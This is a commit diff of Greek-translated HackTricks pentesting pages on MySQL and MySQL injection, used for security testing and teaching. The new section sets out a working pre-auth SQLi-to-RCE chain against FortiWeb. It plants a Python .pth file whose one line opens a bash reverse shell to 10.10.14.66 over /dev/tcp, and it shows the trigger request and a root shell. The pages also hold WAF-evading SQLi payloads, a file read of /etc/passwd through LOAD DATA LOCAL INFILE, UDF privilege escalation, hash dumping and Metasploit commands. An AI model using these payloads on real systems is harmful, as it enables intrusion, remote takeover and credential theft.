Translated ['src/network-services-pentesting/pentesting-mysql.md', 'src/

This commit is contained in:
Translator 2025-07-14 08:42:29 +00:00
parent e1ebf158e8
commit 387c4d2b51
2 changed files with 102 additions and 32 deletions

View File

@ -1,5 +1,10 @@
# 3306 - Pentesting Mysql
{{#include /banners/hacktricks-training.md}}
## References
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}}
## **Βασικές Πληροφορίες**
@ -109,10 +114,47 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
{{#endref}}
## MySQL αυθαίρετη ανάγνωση αρχείου από τον πελάτη
#### INTO OUTFILE → Python `.pth` RCE (ειδικές ρυθμίσεις ιστότοπου)
Καταχρώντας την κλασική πρωτοβουλία `INTO OUTFILE`, είναι δυνατόν να αποκτηθεί *εκτέλεση αυθαίρετου κώδικα* σε στόχους που εκτελούν αργότερα **Python** σενάρια.
1. Χρησιμοποιήστε `INTO OUTFILE` για να ρίξετε ένα προσαρμοσμένο **`.pth`** αρχείο μέσα σε οποιονδήποτε κατάλογο φορτώνεται αυτόματα από το `site.py` (π.χ. `.../lib/python3.10/site-packages/`).
2. Το αρχείο `.pth` μπορεί να περιέχει μια *μοναδική γραμμή* που ξεκινά με `import ` ακολουθούμενη από αυθαίρετο Python κώδικα που θα εκτελείται κάθε φορά που ξεκινά ο διερμηνέας.
3. Όταν ο διερμηνέας εκτελείται έμμεσα από ένα CGI σενάριο (για παράδειγμα `/cgi-bin/ml-draw.py` με shebang `#!/bin/python`), το payload εκτελείται με τα ίδια προνόμια όπως η διαδικασία του web-server (το FortiWeb το εκτέλεσε ως **root** → πλήρης προ-auth RCE).
Παράδειγμα payload `.pth` (μοναδική γραμμή, δεν μπορούν να περιληφθούν κενά στο τελικό SQL payload, οπότε μπορεί να απαιτείται hex/`UNHEX()` ή συγχώνευση συμβολοσειρών):
```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```
Παράδειγμα δημιουργίας του αρχείου μέσω ενός **UNION** ερωτήματος (οι χαρακτήρες κενών αντικαθίστανται με `/**/` για να παρακαμφθεί ένα φίλτρο χώρου `sscanf("%128s")` και να διατηρηθεί το συνολικό μήκος ≤128 bytes):
```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
```
Σημαντικοί περιορισμοί & παρακάμψεις:
* `INTO OUTFILE` **δεν μπορεί να αντικαταστήσει** υπάρχοντα αρχεία; επιλέξτε ένα νέο όνομα αρχείου.
* Η διαδρομή του αρχείου επιλύεται **σχετικά με το CWD του MySQL**, οπότε η προσθήκη `../../` βοηθά στη συντόμευση της διαδρομής και στην παράκαμψη περιορισμών απόλυτης διαδρομής.
* Εάν η είσοδος του επιτιθέμενου εξάγεται με `%128s` (ή παρόμοιο), οποιοσδήποτε χώρος θα κόψει το payload; χρησιμοποιήστε τις ακολουθίες σχολίων MySQL `/**/` ή `/*!*/` για να αντικαταστήσετε τους χώρους.
* Ο χρήστης MySQL που εκτελεί το ερώτημα χρειάζεται το δικαίωμα `FILE`, αλλά σε πολλές συσκευές (π.χ. FortiWeb) η υπηρεσία εκτελείται ως **root**, δίνοντας δικαίωμα εγγραφής σχεδόν παντού.
Αφού ρίξετε το `.pth`, απλά ζητήστε οποιοδήποτε CGI διαχειρίζεται ο διερμηνέας python για να αποκτήσετε εκτέλεση κώδικα:
```
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
```
Η διαδικασία Python θα εισάγει αυτόματα το κακόβουλο `.pth` και θα εκτελέσει το shell payload.
```
# Attacker
$ nc -lvnp 4444
id
uid=0(root) gid=0(root) groups=0(root)
```
---
## MySQL αυθαίρετη ανάγνωση αρχείου από πελάτη
Στην πραγματικότητα, όταν προσπαθείτε να **φορτώσετε δεδομένα τοπικά σε έναν πίνακα** το **περιεχόμενο ενός αρχείου** ο διακομιστής MySQL ή MariaDB ζητά από τον **πελάτη να το διαβάσει** και να στείλει το περιεχόμενο. **Έτσι, αν μπορείτε να παραποιήσετε έναν πελάτη mysql για να συνδεθείτε στον δικό σας διακομιστή MySQL, μπορείτε να διαβάσετε αυθαίρετα αρχεία.**\
Παρακαλώ σημειώστε ότι αυτή είναι η συμπεριφορά που χρησιμοποιείται:
Παρακαλώ σημειώστε ότι αυτή είναι η συμπεριφορά που χρησιμοποιεί:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
@ -133,25 +175,25 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
## POST
### Mysql Χρήστης
### Χρήστης Mysql
Θα είναι πολύ ενδιαφέρον αν το mysql εκτελείται ως **root**:
Θα είναι πολύ ενδιαφέρον αν το mysql τρέχει ως **root**:
```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
```
#### Επικίνδυνες Ρυθμίσεις του mysqld.cnf
Στη διαμόρφωση των υπηρεσιών MySQL, διάφορες ρυθμίσεις χρησιμοποιούνται για τον καθορισμό της λειτουργίας και των μέτρων ασφαλείας της:
Στη διαμόρφωση των υπηρεσιών MySQL, διάφορες ρυθμίσεις χρησιμοποιούνται για να καθορίσουν τη λειτουργία και τα μέτρα ασφαλείας της:
- Η **`user`** ρύθμιση χρησιμοποιείται για τον καθορισμό του χρήστη υπό τον οποίο θα εκτελείται η υπηρεσία MySQL.
- Η **`password`** εφαρμόζεται για την καθορισμό του κωδικού πρόσβασης που σχετίζεται με τον χρήστη MySQL.
- Η **`admin_address`** καθορίζει τη διεύθυνση IP που ακούει για συνδέσεις TCP/IP στη διαχειριστική διεπαφή δικτύου.
- Η **`debug`** μεταβλητή υποδεικνύει τις τρέχουσες ρυθμίσεις αποσφαλμάτωσης, συμπεριλαμβανομένων ευαίσθητων πληροφοριών μέσα στα αρχεία καταγραφής.
- Η **`sql_warnings`** διαχειρίζεται εάν παράγονται πληροφοριακές συμβολοσειρές για δηλώσεις INSERT μίας γραμμής όταν προκύπτουν προειδοποιήσεις, περιέχοντας ευαίσθητα δεδομένα μέσα στα αρχεία καταγραφής.
- Η **`password`** εφαρμόζεται για την καθορισμένη του κωδικού πρόσβασης που σχετίζεται με τον χρήστη MySQL.
- Η **`admin_address`** προσδιορίζει τη διεύθυνση IP που ακούει για συνδέσεις TCP/IP στη διαχειριστική διεπαφή δικτύου.
- Η **`debug`** μεταβλητή είναι ενδεικτική των τρεχουσών ρυθμίσεων αποσφαλμάτωσης, συμπεριλαμβανομένων ευαίσθητων πληροφοριών μέσα στα αρχεία καταγραφής.
- Η **`sql_warnings`** διαχειρίζεται αν παράγονται πληροφοριακές συμβολοσειρές για δηλώσεις INSERT μίας γραμμής όταν προκύπτουν προειδοποιήσεις, περιέχοντας ευαίσθητα δεδομένα μέσα στα αρχεία καταγραφής.
- Με την **`secure_file_priv`**, το πεδίο των λειτουργιών εισαγωγής και εξαγωγής δεδομένων περιορίζεται για την ενίσχυση της ασφάλειας.
### Ανάβαση προνομίων
### Ανάβαση δικαιωμάτων
```bash
# Get current user (an all users) privileges and hashes
use mysql;
@ -171,16 +213,16 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
```
### Privilege Escalation via library
If the **mysql server is running as root** (or a different more privileged user) you can make it execute commands. For that, you need to use **user defined functions**. And to create a user defined you will need a **library** for the OS that is running mysql.
Αν ο **mysql server τρέχει ως root** (ή ως διαφορετικός πιο προνομιούχος χρήστης) μπορείτε να τον κάνετε να εκτελεί εντολές. Για αυτό, χρειάζεται να χρησιμοποιήσετε **user defined functions**. Και για να δημιουργήσετε μια user defined θα χρειαστείτε μια **library** για το λειτουργικό σύστημα που τρέχει ο mysql.
The malicious library to use can be found inside sqlmap and inside metasploit by doing **`locate "*lib_mysqludf_sys*"`**. The **`.so`** files are **linux** libraries and the **`.dll`** are the **Windows** ones, choose the one you need.
Η κακόβουλη βιβλιοθήκη που θα χρησιμοποιήσετε μπορεί να βρεθεί μέσα στο sqlmap και μέσα στο metasploit κάνοντας **`locate "*lib_mysqludf_sys*"`**. Τα **`.so`** αρχεία είναι **linux** βιβλιοθήκες και τα **`.dll`** είναι οι **Windows**. Επιλέξτε αυτή που χρειάζεστε.
If you **don't have** those libraries, you can either **look for them**, or download this [**linux C code**](https://www.exploit-db.com/exploits/1518) and **compile it inside the linux vulnerable machine**:
Αν **δεν έχετε** αυτές τις βιβλιοθήκες, μπορείτε είτε να **τις αναζητήσετε**, είτε να κατεβάσετε αυτό το [**linux C code**](https://www.exploit-db.com/exploits/1518) και να **το μεταγλωττίσετε μέσα στη linux ευάλωτη μηχανή**:
```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```
Τώρα που έχετε τη βιβλιοθήκη, συνδεθείτε μέσα στο Mysql ως προνομιούχος χρήστης (root;) και ακολουθήστε τα επόμενα βήματα:
Τώρα που έχετε τη βιβλιοθήκη, συνδεθείτε στο Mysql ως προνομιούχος χρήστης (root;) και ακολουθήστε τα επόμενα βήματα:
#### Linux
```sql
@ -230,7 +272,7 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na
```
### Ενεργοποίηση καταγραφής
Μπορείτε να ενεργοποιήσετε την καταγραφή των ερωτημάτων mysql μέσα στο `/etc/mysql/my.cnf` αποσχολιάζοντας τις παρακάτω γραμμές:
Μπορείτε να ενεργοποιήσετε την καταγραφή των ερωτημάτων mysql μέσα στο `/etc/mysql/my.cnf` αποσχολώντας τις παρακάτω γραμμές:
![](<../images/image (899).png>)
@ -609,4 +651,7 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
```
## Αναφορές
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -44,13 +44,15 @@ SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
```
## Όλες οι εισβολές
## Όλες οι εισαγωγές
```sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
```
from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
## Ροή
Θυμηθείτε ότι στις "σύγχρονες" εκδόσεις του **MySQL** μπορείτε να αντικαταστήσετε το "_**information_schema.tables**_" με το "_**mysql.innodb_table_stats**_**"** (Αυτό μπορεί να είναι χρήσιμο για να παρακάμψετε τα WAFs).
Θυμηθείτε ότι στις "σύγχρονες" εκδόσεις του **MySQL** μπορείτε να αντικαταστήσετε το "_**information_schema.tables**_" με το "_**mysql.innodb_table_stats**_**"** (Αυτό μπορεί να είναι χρήσιμο για να παρακάμψετε τα WAF).
```sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
@ -62,22 +64,22 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
- `group_concat()`
- `Limit X,1`
### **Blind ένα προς ένα**
### **Blind one by one**
- `substr(version(),X,1)='r'` ή `substring(version(),X,1)=0x70` ή `ascii(substr(version(),X,1))=112`
- `mid(version(),X,1)='5'`
### **Blind προσθήκη**
### **Blind adding**
- `LPAD(version(),1...lenght(version()),'1')='asd'...`
- `RPAD(version(),1...lenght(version()),'1')='asd'...`
- `SELECT RIGHT(version(),1...lenght(version()))='asd'...`
- `SELECT LEFT(version(),1...lenght(version()))='asd'...`
- `LPAD(version(),1...length(version()),'1')='asd'...`
- `RPAD(version(),1...length(version()),'1')='asd'...`
- `SELECT RIGHT(version(),1...length(version()))='asd'...`
- `SELECT LEFT(version(),1...length(version()))='asd'...`
- `SELECT INSTR('foobarbar', 'fo...')=1`
## Ανίχνευση αριθμού στηλών
Χρησιμοποιώντας μια απλή ORDER
Using a simple ORDER
```
order by 1
order by 2
@ -105,15 +107,15 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
### Εκτέλεση ερωτημάτων μέσω Προετοιμασμένων Δηλώσεων
Όταν επιτρέπονται οι στοίβες ερωτημάτων, μπορεί να είναι δυνατό να παρακάμψετε τα WAFs αναθέτοντας σε μια μεταβλητή την εξαγωγή hex της δήλωσης που θέλετε να εκτελέσετε (χρησιμοποιώντας το SET), και στη συνέχεια να χρησιμοποιήσετε τις δηλώσεις PREPARE και EXECUTE MySQL για να εκτελέσετε τελικά τη δήλωση. Κάτι σαν αυτό:
Όταν επιτρέπονται οι στοίβες ερωτημάτων, μπορεί να είναι δυνατό να παρακάμψετε τα WAFs αναθέτοντας σε μια μεταβλητή την εξαγωγή σε δεκαεξαδική μορφή του ερωτήματος που θέλετε να εκτελέσετε (χρησιμοποιώντας το SET), και στη συνέχεια να χρησιμοποιήσετε τις δηλώσεις PREPARE και EXECUTE της MySQL για να εκτελέσετε τελικά το ερώτημα. Κάτι σαν αυτό:
```
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
```
Για περισσότερες πληροφορίες παρακαλώ ανατρέξτε σε [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
Για περισσότερες πληροφορίες παρακαλώ ανατρέξτε σε [αυτήν την ανάρτηση στο blog](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
### Εναλλακτικές του information_schema
Θυμηθείτε ότι σε "σύγχρονες" εκδόσεις του **MySQL** μπορείτε να αντικαταστήσετε το _**information_schema.tables**_ με το _**mysql.innodb_table_stats**_ ή με το _**sys.x$schema_flattened_keys**_ ή με το **sys.schema_table_statistics**
Θυμηθείτε ότι στις "σύγχρονες" εκδόσεις του **MySQL** μπορείτε να αντικαταστήσετε το _**information_schema.tables**_ με το _**mysql.innodb_table_stats**_ ή με το _**sys.x$schema_flattened_keys**_ ή με το **sys.schema_table_statistics**.
### MySQLinjection χωρίς ΚΟΜΜΑΤΑ
@ -123,22 +125,44 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
```
### Ανάκτηση τιμών χωρίς το όνομα της στήλης
Αν σε κάποιο σημείο γνωρίζετε το όνομα του πίνακα αλλά δεν γνωρίζετε το όνομα των στηλών μέσα στον πίνακα, μπορείτε να προσπαθήσετε να βρείτε πόσες στήλες υπάρχουν εκτελώντας κάτι σαν:
Αν σε κάποια στιγμή γνωρίζετε το όνομα του πίνακα αλλά δεν γνωρίζετε το όνομα των στηλών μέσα στον πίνακα, μπορείτε να προσπαθήσετε να βρείτε πόσες στήλες υπάρχουν εκτελώντας κάτι σαν:
```bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
```
Υποθέτοντας ότι υπάρχουν 2 στήλες (η πρώτη είναι το ID) και η άλλη η σημαία, μπορείτε να προσπαθήσετε να κάνετε brute force το περιεχόμενο της σημαίας δοκιμάζοντας χαρακτήρα προς χαρακτήρα:
Υποθέτοντας ότι υπάρχουν 2 στήλες (η πρώτη είναι το ID) και η άλλη η σημαία, μπορείτε να προσπαθήσετε να κάνετε brute force το περιεχόμενο της σημαίας προσπαθώντας χαρακτήρα προς χαρακτήρα:
```bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
```
Περισσότερες πληροφορίες στο [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
### Εισαγωγή χωρίς ΚΕΝΑ (`/**/` κόλπο σχολίου)
Ορισμένες εφαρμογές απολυμαίνουν ή αναλύουν την είσοδο του χρήστη με συναρτήσεις όπως `sscanf("%128s", buf)` οι οποίες **σταματούν στον πρώτο χαρακτήρα κενό**.
Δεδομένου ότι το MySQL θεωρεί τη σειρά `/**/` ως σχόλιο *και* ως κενό, μπορεί να χρησιμοποιηθεί για να αφαιρέσει εντελώς τα κανονικά κενά από το payload διατηρώντας ταυτόχρονα το ερώτημα συντακτικά έγκυρο.
Παράδειγμα χρονικά βασισμένης τυφλής εισαγωγής που παρακάμπτει το φίλτρο κενών:
```http
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
```
Ποιο είναι το δεδομένο που λαμβάνει η βάση δεδομένων ως:
```sql
' OR SLEEP(5)-- -'
```
Αυτό είναι ιδιαίτερα χρήσιμο όταν:
* Ο ελεγχόμενος buffer είναι περιορισμένος σε μέγεθος (π.χ. `%128s`) και οι κενές θέσεις θα τερματίσουν πρόωρα την είσοδο.
* Εισάγοντας μέσω HTTP headers ή άλλων πεδίων όπου οι κανονικές κενές θέσεις αφαιρούνται ή χρησιμοποιούνται ως διαχωριστικά.
* Συνδυασμένο με `INTO OUTFILE` primitives για να επιτευχθεί πλήρης προ-auth RCE (βλ. την ενότητα MySQL File RCE).
---
### Ιστορία MySQL
Μπορείτε να δείτε άλλες εκτελέσεις μέσα στο MySQL διαβάζοντας τον πίνακα: **sys.x$statement_analysis**
Μπορείτε να δείτε άλλες εκτελέσεις μέσα στη MySQL διαβάζοντας τον πίνακα: **sys.x$statement_analysis**
### Εναλλακτικές εκδόσεις**s**
```
@ -148,11 +172,12 @@ mysql> select version();
```
## Άλλοι οδηγοί MYSQL injection
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
- [PayloadsAllTheThings MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
## Αναφορές
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
- [PayloadsAllTheThings MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../../../banners/hacktricks-training.md}}